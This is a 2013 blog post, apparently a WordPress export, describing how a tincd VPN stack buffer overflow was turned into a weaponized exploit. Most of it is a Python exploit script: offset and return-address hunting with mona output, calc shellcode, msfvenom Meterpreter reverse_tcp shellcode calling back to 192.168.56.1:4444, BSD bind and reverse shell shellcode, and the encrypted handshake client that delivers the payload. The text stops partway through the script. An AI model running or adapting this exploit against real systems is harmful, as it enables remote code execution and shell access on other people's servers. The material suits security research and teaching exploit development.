{"id":741,"date":"2013-12-12T00:24:50","date_gmt":"2013-12-11T23:24:50","guid":{"rendered":"http:\/\/www.floyd.ch\/?p=741"},"modified":"2023-05-31T08:09:31","modified_gmt":"2023-05-31T07:09:31","slug":"tincd-metasploit-module-and-exploit-development","status":"publish","type":"post","link":"https:\/\/www.floyd.ch\/?p=741","title":{"rendered":"Tincd Metasploit module and exploit development"},"content":{"rendered":"<p>A friend of mine wrote a Proof of Concept exploit for the tincd server (a VPN software) for authenticated peers (post-auth), <a href=\"https:\/\/sitsec.net\/blog\/2013\/04\/22\/stack-based-buffer-overflow-in-the-vpn-software-tinc-for-authenticated-peers\/\" title=\"Buffer Overflow in the tinc software for authenticated peers\" target=\"_blank\" rel=\"noopener\">the original blog post about it can be found here<\/a>. I turned the PoC crash into a weaponized exploit for Windows XP, Windows 7 and FreeBSD. I think very often the exploits on exploit-db.com do not contain a lot of information to reproduce the exploit development and a lot of &#8220;reversing&#8221; of &#8220;some hex bytes&#8221; is necessary to fully understand it. Therefore I provide several more detailed scripts in different programming languages with comments here. The vulnerability\/my exploit\/the software has the following characteristics:<\/p>\n<ul>\n<li>No DEP, ASLR or other security mechanisms for the three OS. It&#8217;s the same setup file for both Windows (tinc-1.1pre6-install.exe). FreeBSD is compiled from the ports.<\/li>\n<li>memcpy_chk protection introduced by gcc for Ubuntu. Seems to be non-exploitable (pretty sure it&#8217;s the same for Debian). gcc can easily do that because the buffer size is known at compile time.<\/li>\n<li>Straight forward (memcpy) saved return pointer overwrite.<\/li>\n<li>The second value on the stack when EIP is overwritten is a pointer to the start of our payload. Convenient.<\/li>\n<\/ul>\n<p>I authored the exploiting part and changed the logic part to remove some issues. First, I wrote everything in python. Second, ported the entire thing to ruby with eventmachine. Then I decided to port the thing to metasploit and removed the eventmachine dependency. At that point I decided that improvements regarding reliability were necessary. The Metasploit module works for every of my test machines on the first try.<\/p>\n<p>Ok, so everybody who just wants to see the outcome, go to <a href=\"https:\/\/github.com\/floyd-fuh\/metasploit-framework\/blob\/master\/modules\/exploits\/multi\/vpn\/tincd_bof.rb\" target=\"_blank\" rel=\"noopener\">my github page<\/a> and download it. I also made a pull request and after some feedback it should end up in Metasploit (so maybe just check your Metasploit installation).<\/p>\n<p>For everyone more interested in the &#8220;how&#8221;, the python script and the ruby script at the end of this post. The scripts are not as reliable, flexible, advanced, maintained and convenient as the Metasploit module. But they should provide everybody with enough information on how to exploit such a buffer overflow vulnerability.<\/p>\n<p>Right now I&#8217;m writing the ROP chain for the exploitation on Fedora 19 (has NX enabled). Interesting and I&#8217;m already executing code, but not release ready yet. I hope I&#8217;ll be able to update the Metasploit module. There are so many other combinations that would be interesting too (ARM, x64, systems with ASLR&#8230;)<\/p>\n<p>Happy hacking!<\/p>\n<pre class=\"brush: python; title: ; notranslate\" title=\"\">\r\n#!\/usr\/bin\/env python\r\n\r\n&quot;&quot;&quot;\r\nAuthor of exploitation part (all platforms), changes to the original PoC crash for reliability, port from python to ruby, metasploit module: floyd &lt;floyd at floyd dot ch&gt;\r\nOriginal PoC Author, finding: Martin Schobert &lt;schobert at sitsec dot net&gt;\r\n\r\nWindows XP&amp;7: The PoC now consists of two shellcodes, calc for XP and meterpreter for Windows 7 to 192.168.56.1:4444\r\nThat means now it's weaponized. Only tested on XP and Windows 7 with tinc-1.1pre6.\r\n\r\nUbuntu: A manually compiled version (1.1.pre6) on Ubuntu 12.10 with gcc 4.7.2 seems to be a non-exploitable crash, because\r\nthe bug is in a fixed size (MAXSIZE) struct member variable. Therefore the size of the destination is known \r\nat compile time. gcc is introducing a call to __memcpy_chk:\r\nhttp:\/\/gcc.gnu.org\/svn\/gcc\/branches\/cilkplus\/libssp\/memcpy-chk.c\r\nmemcpy_chk does a __chk_fail call if the destination buffer is smaller than the source buffer. Therefore it will print \r\n*** buffer overflow detected *** and terminate (SIGABRT). The same result for tincd 10.0.19 (Jun 29 2012 14:10:44) \r\nwhich can be installed from the repository. It might be exploitable for versions compiled with an older version of gcc.\r\nmemcpy_chk seems to be in gcc since 2005: \r\nhttp:\/\/gcc.gnu.org\/svn\/gcc\/branches\/cilkplus\/libssp\/memcpy-chk.c\r\nhttp:\/\/gcc.gnu.org\/git\/?p=gcc.git;a=history;f=libssp\/memcpy-chk.c;hb=92920cc62318e5e8b6d02d506eaf66c160796088\r\n\r\nFreeBSD: Exploitable, of course other eip for pop#ret, but same eip offset, tested under FreeBSD 9.1-RELEASE #0, tested with tinc version 1.0.19\r\nfrom the ports.\r\n\r\n&lt;original comment PoC&gt;\r\n\r\nUnweaponized proof of concept code to demonstrate a vulnerability in the\r\ntinc VPN software. This PoC was tested against tinc version 1.1-pre6 and\r\n1.0.19.\r\n\r\nhttp:\/\/www.sitsec.net\/blog\/2013\/04\/22\/stack-based-buffer-overflow-in-the-vpn-software-tinc-for-authenticated-peers\/\r\n\r\nAuthor: Martin Schobert &lt;schobert at sitsec dot net&gt;\r\n&lt;\/original comment PoC&gt;\r\n\r\nJuly 2013, floyd &lt;floyd at floyd dot ch&gt; @floyd_ch\r\n&quot;&quot;&quot;\r\n\r\nimport socket\r\nimport sys\r\nimport re\r\nimport os\r\nimport binascii\r\nfrom Crypto.PublicKey import RSA\r\nfrom Crypto.Cipher import Blowfish\r\nfrom Crypto.Hash import SHA\r\nfrom struct import pack\r\nimport asyncore\r\n\r\n#\r\n# config part\r\n#\r\n\r\n# host and port to attack\r\nTCP_IP = '192.168.56.102'\r\nTCP_PORT = 655\r\n\r\n# The server's public key (usually from C:\\Program Files\\tinc\\hosts\\ or \/usr\/local\/etc\/tinc\/testnet\/hosts\/ ,\r\n# but with the config stuff removed)\r\nserver_public_key_file = 'rsa_key.pub'\r\n\r\n# The client's private key\r\nclient_private_key_file = 'rsa_key.priv'\r\n\r\n#target OS\r\ntarget = &quot;freebsd&quot; #winxp (calc.exe), win7 (meterpreter\/reverse_tcp lhost=192.168.56.1), freebsd (bsd\/x86\/shell_bind_tcp)\r\n\r\n\r\n\r\n#\r\n#Exploitation part WINDOWS (can be used to see Ubuntu __memcpy_chk)\r\n#\r\n#From original PoC\r\nlength = 1682\r\npayload_winxp = &quot;A&quot;*length\r\n#C:\\Program Files\\tinc&gt;&quot;C:\\Program Files\\Immunity Inc\\Immunity Debugger\\ImmunityDebugger.exe&quot; &quot;C:\\Program Files\\tinc\\tincd.exe -D -d 5&quot;\r\n#!mona config -set workingfolder c:\\logs\\%p\r\n#!mona pc 1682\r\n#from C:\\logs\\tincd\\pattern\r\ncyclic = &quot;Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce&quot;\r\npayload_winxp = cyclic\r\n#!mona findmsp\r\n#--&gt; EIP overwritten with normal pattern : 0x64433864 (offset 1675)\r\noffset = 1675\r\npayload_winxp = &quot;A&quot;*offset + &quot;BCDE&quot;\r\n#looks like second value on stack is pointing into our payload...\r\npayload_winxp = &quot;ABCD&quot;+&quot;E&quot;*(offset-4)+&quot;BCDE&quot;\r\n#removed \\n from &quot;\\n&quot;+payload in logic below from the original PoC\r\n#so of course now we have to adjust everything we did until now:\r\nlength = 1683\r\noffset = 1676 #original poc-offset is probably 1683 now\r\n#search for pop; ret;\r\n#!mona findwild -type instr -s &quot;pop r32#ret&quot;\r\n#--&gt; found 14739 pointers... so let's be very picky today:\r\n#!mona findwild -n -cp asciiprint -type instr -s &quot;pop r32#ret&quot;\r\n#--&gt; found 348 pointers. e.g.\r\n#0x662c4d71 : pop ebp # retn 10 | asciiprint,ascii {PAGE_EXECUTE_READ} &#x5B;hnetcfg.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\\WINDOWS\\system32\\hnetcfg.dll)\r\n#0x662d3e7d : pop ebp # retn 10 | asciiprint,ascii {PAGE_EXECUTE_READ} &#x5B;hnetcfg.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\\WINDOWS\\system32\\hnetcfg.dll)\r\n#0x662d6e5e : pop ebp # retn 10 | asciiprint,ascii {PAGE_EXECUTE_READ} &#x5B;hnetcfg.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\\WINDOWS\\system32\\hnetcfg.dll)\r\n#0x662e1522 : pop ebp # retn 10 | asciiprint,ascii {PAGE_EXECUTE_READ} &#x5B;hnetcfg.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\\WINDOWS\\system32\\hnetcfg.dll)\r\neip = &quot;qM,f&quot; #&quot;\\x71\\x4d\\x2c\\x66&quot;\r\n#This was just &quot;nice to look at&quot;, but maybe it would be better to find a os-independent pointer, so we could use it for all os\r\n#!mona findwild -o -type instr -s &quot;pop r32#ret&quot;\r\n#--&gt; found 4049 pointers. e.g.\r\n#0x004fbd0e : pop esi # retf | startnull {PAGE_EXECUTE_READ} &#x5B;tincd.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\\Program Files\\tinc\\tincd.exe)\r\n#0x004a0293 : pop ecx # retf 4 | startnull {PAGE_EXECUTE_READ} &#x5B;tincd.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\\Program Files\\tinc\\tincd.exe)\r\n#0x00467de4 : pop ebx # retn 3956 | startnull {PAGE_EXECUTE_READ} &#x5B;tincd.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\\Program Files\\tinc\\tincd.exe)\r\n#0x00480990 : pop ebx # retn 3956 | startnull {PAGE_EXECUTE_READ} &#x5B;tincd.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\\Program Files\\tinc\\tincd.exe)\r\n#0x0051a9c3 : pop esi # retf 0bc3b | startnull {PAGE_EXECUTE_READ} &#x5B;tincd.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\\Program Files\\tinc\\tincd.exe)\r\n#0x0051a9cb : pop esi # retf 0bc3b | startnull {PAGE_EXECUTE_READ} &#x5B;tincd.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\\Program Files\\tinc\\tincd.exe)\r\n#0x0041caa6 : pop eax # retn | startnull {PAGE_EXECUTE_READ} &#x5B;tincd.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\\Program Files\\tinc\\tincd.exe)\r\n#eip = &quot;\\x0e\\xbd\\x4f\\x00&quot; #Nope! Access violation when reading &#x5B;FFFFFFFF]\r\n#eip = &quot;\\xe4\\x7d\\x46\\x00&quot; #Nope! Access violation when writing to &#x5B;00232B7A]\r\neip = &quot;\\xa6\\xca\\x41\\x00&quot; #works fine on XP and on Windows 7\r\npayload_winxp = &quot;\\xcc&quot;*offset+eip #cc for int3\r\n#works fine, our breakpoints get hit\r\ncalc_for_xp = (&quot;\\x31\\xC9&quot;\r\n        &quot;\\x51&quot;\r\n        &quot;\\x68\\x63\\x61\\x6C\\x63&quot;\r\n        &quot;\\x54&quot;  \r\n        &quot;\\xB8\\xC7\\x93\\xC2\\x77&quot; #  this one is not really reliable, it's: MOV EAX, msvcrt.system hard coded\r\n        &quot;\\xFF\\xD0&quot;)\r\nshellcode = calc_for_xp\r\npayload_winxp = shellcode+&quot;\\x90&quot;*(offset-len(shellcode))+eip\r\n\r\n\r\n\r\n#$ .\/msfvenom -p windows\/meterpreter\/reverse_tcp exitfunc=thread lhost=192.168.56.1 -f c\r\nmeterpreter_win7 = (\r\n&quot;\\xfc\\xe8\\x89\\x00\\x00\\x00\\x60\\x89\\xe5\\x31\\xd2\\x64\\x8b\\x52\\x30&quot;\r\n&quot;\\x8b\\x52\\x0c\\x8b\\x52\\x14\\x8b\\x72\\x28\\x0f\\xb7\\x4a\\x26\\x31\\xff&quot;\r\n&quot;\\x31\\xc0\\xac\\x3c\\x61\\x7c\\x02\\x2c\\x20\\xc1\\xcf\\x0d\\x01\\xc7\\xe2&quot;\r\n&quot;\\xf0\\x52\\x57\\x8b\\x52\\x10\\x8b\\x42\\x3c\\x01\\xd0\\x8b\\x40\\x78\\x85&quot;\r\n&quot;\\xc0\\x74\\x4a\\x01\\xd0\\x50\\x8b\\x48\\x18\\x8b\\x58\\x20\\x01\\xd3\\xe3&quot;\r\n&quot;\\x3c\\x49\\x8b\\x34\\x8b\\x01\\xd6\\x31\\xff\\x31\\xc0\\xac\\xc1\\xcf\\x0d&quot;\r\n&quot;\\x01\\xc7\\x38\\xe0\\x75\\xf4\\x03\\x7d\\xf8\\x3b\\x7d\\x24\\x75\\xe2\\x58&quot;\r\n&quot;\\x8b\\x58\\x24\\x01\\xd3\\x66\\x8b\\x0c\\x4b\\x8b\\x58\\x1c\\x01\\xd3\\x8b&quot;\r\n&quot;\\x04\\x8b\\x01\\xd0\\x89\\x44\\x24\\x24\\x5b\\x5b\\x61\\x59\\x5a\\x51\\xff&quot;\r\n&quot;\\xe0\\x58\\x5f\\x5a\\x8b\\x12\\xeb\\x86\\x5d\\x68\\x33\\x32\\x00\\x00\\x68&quot;\r\n&quot;\\x77\\x73\\x32\\x5f\\x54\\x68\\x4c\\x77\\x26\\x07\\xff\\xd5\\xb8\\x90\\x01&quot;\r\n&quot;\\x00\\x00\\x29\\xc4\\x54\\x50\\x68\\x29\\x80\\x6b\\x00\\xff\\xd5\\x50\\x50&quot;\r\n&quot;\\x50\\x50\\x40\\x50\\x40\\x50\\x68\\xea\\x0f\\xdf\\xe0\\xff\\xd5\\x97\\x6a&quot;\r\n&quot;\\x05\\x68\\xc0\\xa8\\x38\\x01\\x68\\x02\\x00\\x11\\x5c\\x89\\xe6\\x6a\\x10&quot;\r\n&quot;\\x56\\x57\\x68\\x99\\xa5\\x74\\x61\\xff\\xd5\\x85\\xc0\\x74\\x0c\\xff\\x4e&quot;\r\n&quot;\\x08\\x75\\xec\\x68\\xf0\\xb5\\xa2\\x56\\xff\\xd5\\x6a\\x00\\x6a\\x04\\x56&quot;\r\n&quot;\\x57\\x68\\x02\\xd9\\xc8\\x5f\\xff\\xd5\\x8b\\x36\\x6a\\x40\\x68\\x00\\x10&quot;\r\n&quot;\\x00\\x00\\x56\\x6a\\x00\\x68\\x58\\xa4\\x53\\xe5\\xff\\xd5\\x93\\x53\\x6a&quot;\r\n&quot;\\x00\\x56\\x53\\x57\\x68\\x02\\xd9\\xc8\\x5f\\xff\\xd5\\x01\\xc3\\x29\\xc6&quot;\r\n&quot;\\x85\\xf6\\x75\\xec\\xc3&quot;)\r\nshellcode = meterpreter_win7\r\npayload_win7 = shellcode+&quot;\\x90&quot;*(offset-len(shellcode))+eip\r\n\r\n\r\n#\r\n#Exploitation part FREEBSD\r\n#\r\n#Using the windows exploit, we see that again, our eip gets executed (same offset as windows!),\r\n#this means it's vulnerable. Used the version from ports, tinc version 1.0.19 \r\n#(built Apr 11 2013 16:50:07, protocol 17)\r\n#\r\n#Reusing: offset = 1676\r\n#Now we see that a pointer to our payload is again second on the stack. That means we need\r\n#to find an address that points to some pop r32#ret, but this time for the freebsd version.\r\n#It's not as easy as on windows, because we don't have something like mona findwild and gdb is\r\n#not even correctly showing the disassembly at eip. That's why we dumped the .text part of the\r\n#tincd binary in gdb, opened it in a hex editor and simply searched for the following bytes\/opcodes\r\n#that represent &quot;pop r32#ret&quot;:\r\n#58c3\r\n#5bc3\r\n#59c3\r\n#5ac3\r\n#5dc3\r\n#5ec3\r\n#5cc3\r\n#5fc3\r\n#We actually found a couple of 5dc3. We then calculated the correct address by using the\r\n#start of the .text section plus the offset in the dumped memory. The first couple of 5dc3\r\n#didn't work, but we found one at the following address that works very well:\r\neip = &quot;\\xBB\\xBA\\x04\\x08&quot; #eip for pop %ebp#ret for bsd --&gt; 0x0804BABB\r\n#so here we go:\r\n#.\/msfvenom -p bsd\/x86\/shell_bind_tcp -f c\r\nbind_shell_bsd = (&quot;\\x31\\xc0\\x50\\x68\\xff\\x02\\x11\\x5c\\x89\\xe7\\x50\\x6a\\x01\\x6a\\x02&quot;\r\n&quot;\\x6a\\x10\\xb0\\x61\\xcd\\x80\\x57\\x50\\x50\\x6a\\x68\\x58\\xcd\\x80\\x89&quot;\r\n&quot;\\x47\\xec\\xb0\\x6a\\xcd\\x80\\xb0\\x1e\\xcd\\x80\\x50\\x50\\x6a\\x5a\\x58&quot;\r\n&quot;\\xcd\\x80\\xff\\x4f\\xe4\\x79\\xf6\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f&quot;\r\n&quot;\\x62\\x69\\x6e\\x89\\xe3\\x50\\x54\\x53\\x50\\xb0\\x3b\\xcd\\x80&quot;)\r\n#$ .\/msfvenom -p bsd\/x86\/shell_reverse_tcp LHOST=192.168.56.1 -f c\r\nreverse = (&quot;\\x68\\xc0\\xa8\\x38\\x01\\x68\\xff\\x02\\x11\\x5c\\x89\\xe7\\x31\\xc0\\x50&quot;\r\n&quot;\\x6a\\x01\\x6a\\x02\\x6a\\x10\\xb0\\x61\\xcd\\x80\\x57\\x50\\x50\\x6a\\x62&quot;\r\n&quot;\\x58\\xcd\\x80\\x50\\x6a\\x5a\\x58\\xcd\\x80\\xff\\x4f\\xe8\\x79\\xf6\\x68&quot;\r\n&quot;\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x50\\x54\\x53\\x50&quot;\r\n&quot;\\xb0\\x3b\\xcd\\x80&quot;)\r\n#$ .\/msfvenom -p bsd\/x86\/exec CMD=&quot;\/usr\/bin\/touch \/tmp\/kkk&quot; -f c\r\ntouch = (\r\n&quot;\\x6a\\x3b\\x58\\x99\\x52\\x68\\x2d\\x63\\x00\\x00\\x89\\xe7\\x52\\x68\\x6e&quot;\r\n&quot;\\x2f\\x73\\x68\\x68\\x2f\\x2f\\x62\\x69\\x89\\xe3\\x52\\xe8\\x18\\x00\\x00&quot;\r\n&quot;\\x00\\x2f\\x75\\x73\\x72\\x2f\\x62\\x69\\x6e\\x2f\\x74\\x6f\\x75\\x63\\x68&quot;\r\n&quot;\\x20\\x2f\\x74\\x6d\\x70\\x2f\\x6b\\x6b\\x6b\\x00\\x57\\x53\\x89\\xe1\\x52&quot;\r\n&quot;\\x51\\x53\\x50\\xcd\\x80&quot;)\r\nshellcode = touch\r\npayload_freebsd = shellcode+&quot;\\x90&quot;*(offset-len(shellcode))+eip #pwn!\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n#\r\n#Logic part\r\n#\r\n\r\n#NETWORK LAYER order (according to successful exploitation run monitored in wireshark):\r\n#1. SYN, SYN\/ACK, ACK - further TCP ACK's are not included\r\n#2. ID, client PSH: &quot;0 testnode2 17.0&quot;\r\n#3. ID, server PSH: &quot;0 testnode2 17.0&quot;\r\n#4. Metakey, client PSH: &quot;1 94 64 0 0 VALUE_1&quot;\r\n#5. Metakey, server PSH: &quot;1 94 64 0 0 VALUE_2&quot;\r\n#6. Receive Challenge from server, server PSH: 515 bytes - 3f8a4c...\r\n#7. Send Challenge to server, client PSH: 520 bytes - cdca80...\r\n#---&gt;9. Challenge Reply from server, server PSH: 43 bytes - d34d78...\r\n#---&gt;8. Challenge Reply to server, client PSH: 48 bytes - c2f415...\r\n#---&gt;11. ACK part1 of server, server PSH: 11 bytes - 93fdcf...\r\n#---&gt;10. ACK of client, client PSH: 16 bytes - 7ffca1...\r\n#12. ACK part2 of server, server PSH: 69 bytes - e6051a...\r\n#13. attack, client PSH: payload - 9d6a94...\r\n\r\n#PROGRAM order (according to printing raw data before sending\/after receiving - threading could get in the way of print!):\r\n#1. SYN, SYN\/ACK, ACK - further TCP ACK's are not included\r\n#2. ID, client PSH: &quot;0 testnode2 17.0&quot;\r\n#3. ID, server PSH: &quot;0 testnode2 17.0&quot;\r\n#4. Metakey, client PSH: &quot;1 94 64 0 0 VALUE_1&quot;\r\n#5. Metakey, server PSH: &quot;1 94 64 0 0 VALUE_2&quot;\r\n#6. Receive Challenge from server, server PSH: 515 bytes - 3f8a4c...\r\n#7. Send Challenge to server, client PSH: 520 bytes - cdca80...\r\n#8. Challenge Reply to server, client PSH: 48 bytes - c2f415...\r\n#9. Challenge Reply from server, server PSH: 43 bytes - d34d78...\r\n#10. ACK of client, client PSH: 16 bytes - 7ffca1...\r\n#11. ACK part1 of server, server PSH: 11 bytes - 93fdcf...\r\n#12. ACK part2 of server, server PSH: 69 bytes - e6051a...\r\n#13. attack, client PSH: payload - 9d6a94...\r\n\r\n\r\nclass TincExploitClient(asyncore.dispatcher):\r\n\r\n    def __init__(self, host, port, server_file, client_file, payload):\r\n        asyncore.dispatcher.__init__(self)\r\n        self.create_socket(socket.AF_INET, socket.SOCK_STREAM)\r\n        self.connect((host, port))\r\n        \r\n        self.buffer = ''\r\n        self.id()\r\n        self.inbuffer = bytearray()\r\n        \r\n        self.payload = payload\r\n\r\n        self.encryption_queue = &#x5B;] # array of messages\r\n        self.decryption_queue = bytearray()\r\n\r\n        self.state = 'id'\r\n        self.cryptomode_in = False\r\n        \r\n        self.bfblocksize = Blowfish.block_size\r\n        self.key_stream = bytearray()\r\n        \r\n        self.client_private_key_cipher = None\r\n        self.key_len = None\r\n        \r\n        self.hex_enc_key_S1 = None\r\n        self.bf_enc_cipher = None\r\n                \r\n        self.initCiphers(server_file, client_file)\r\n        \r\n        self.bf_dec_cipher = None #gets set up when we get the server info\r\n        \r\n    def initCiphers(self, server_file, client_file):\r\n        server_public_key_cipher = RSA.importKey(open(server_file).read())\r\n        server_public_key_cipher_len =  (server_public_key_cipher.size() + 1)\/8\r\n        \r\n        # parse client private key\r\n        self.client_private_key_cipher = RSA.importKey(open(client_file).read())\r\n        client_private_key_cipher_len =  (self.client_private_key_cipher.size() + 1)\/8\r\n        \r\n        #must be same length\r\n        assert(server_public_key_cipher_len == client_private_key_cipher_len)\r\n        self.key_len = server_public_key_cipher_len\r\n        \r\n        #create random key\r\n        key_S1 = os.urandom(self.key_len)\r\n        print &quot;random key: &quot; + binascii.hexlify(key_S1)\r\n        \r\n        # encrypt rnd_key with rsa key\r\n        enc_key_S1 = server_public_key_cipher.encrypt(key_S1, &quot;&quot;)&#x5B;0]\r\n        self.hex_enc_key_S1 = binascii.hexlify(enc_key_S1)\r\n        print &quot;hex_enc_key_S1: &quot; + self.hex_enc_key_S1\r\n        \r\n        # setup encryption\r\n        bf_enc_key = key_S1&#x5B;240:256]\r\n        bf_enc_iv = key_S1&#x5B;232:240]\r\n        \r\n        self.bf_enc_cipher = Blowfish.new(bf_enc_key, Blowfish.MODE_OFB, bf_enc_iv)\r\n        \r\n        #test cipher\r\n        #fails: ValueError: Input strings must be a multiple of 8 in length\r\n        #print &quot;Testing cipher: &quot;+self.bf_enc_cipher.encrypt(&quot;A&quot;*10).encode(&quot;hex&quot;)\r\n        #works:\r\n        #print &quot;Testing cipher: &quot;+self.bf_enc_cipher.encrypt(&quot;A&quot;*8).encode(&quot;hex&quot;)\r\n        \r\n    #\r\n    # Helper function for byte-wise Output Feedback Mode decryption\r\n    #\r\n    # We use pycrypto to encrypt\/decrypt data, but their OFM mode works\r\n    # only on full blocks. The meta protocol requires encryption\/decryption\r\n    # on a byte basis. We use this helper function to decrypt incoming data\r\n    # and add padding spaces to outgoing messages to use the default OFM\r\n    # implementation.\r\n    def decrypt(self, msg):\r\n        #print &quot;Cipher text:&quot;, str(msg).encode(&quot;hex&quot;)\r\n        cleartext = &quot;&quot;\r\n        while len(self.key_stream) &lt; len(msg) + 8:\r\n            ks = self.key_stream&#x5B;len(self.key_stream)-8:]\r\n            ks2 = self.bf_dec_cipher.encrypt(buffer(ks))\r\n            self.key_stream.extend(bytearray(ks2))\r\n        for d in msg:\r\n            key_byte = self.key_stream.pop(0)\r\n            cleartext += chr(key_byte ^ d)\r\n        return cleartext\r\n    \r\n    def handle_connect(self):\r\n        pass\r\n\r\n    def handle_close(self):\r\n        self.close()\r\n\r\n    def handle_read(self):\r\n        data = self.recv(8192)\r\n        #self.receive_it(data)\r\n        self.inbuffer += data\r\n        \r\n        print &quot;waiting for %s - buffer-len=%d)&quot; % \\\r\n            (self.state, len(self.inbuffer))\r\n\r\n        if self.state == 'id':\r\n            if(self.has_line()):\r\n                print &quot;\\n++ Receive ID&quot;\r\n                data = self.get_line()\r\n                print &quot;received data: &#x5B;%s]&quot; % (data)\r\n                self.state = 'metakey'\r\n                self.metakey()                \r\n\r\n        if self.state == 'metakey':\r\n            if(self.has_line()):\r\n                print &quot;\\n++ Receive METAKEY&quot;\r\n                data = self.get_line()\r\n                print &quot;received data: &#x5B;%s]&quot; % (data)\r\n                data = data.split(' ')\r\n                assert(data&#x5B;0] == '1')\r\n                hexkey_S2 = data&#x5B;5].rstrip('\\n')\r\n                assert(len(hexkey_S2) == 512)\r\n                self.enckey_S2 = binascii.unhexlify(hexkey_S2)\r\n                key_S2 = self.client_private_key_cipher.decrypt(self.enckey_S2)\r\n\r\n                print &quot;key: &quot; + binascii.hexlify(key_S2)\r\n\r\n                # setup decryption\r\n                bf_dec_key = key_S2&#x5B;240:256]\r\n                bf_dec_iv = key_S2&#x5B;232:240]\r\n                self.bf_dec_cipher = Blowfish.new(bf_dec_key, Blowfish.MODE_ECB)\r\n                #global key_stream\r\n                self.key_stream = bytearray( self.bf_dec_cipher.encrypt(bf_dec_iv))\r\n                print &quot;IV set&quot;\r\n                \r\n                self.state = &quot;challenge&quot; # next expected state\r\n                self.challenge()\r\n\r\n        if self.state == 'challenge':\r\n            need_len = 515\r\n            if len(self.inbuffer) &gt;= need_len:\r\n                print &quot;\\n++ Receive CHALLENGE&quot;\r\n                data = self.pop_inbuffer_and_decrypt(need_len)\r\n                print &quot;Got challenge: &#x5B;%s]&quot; % 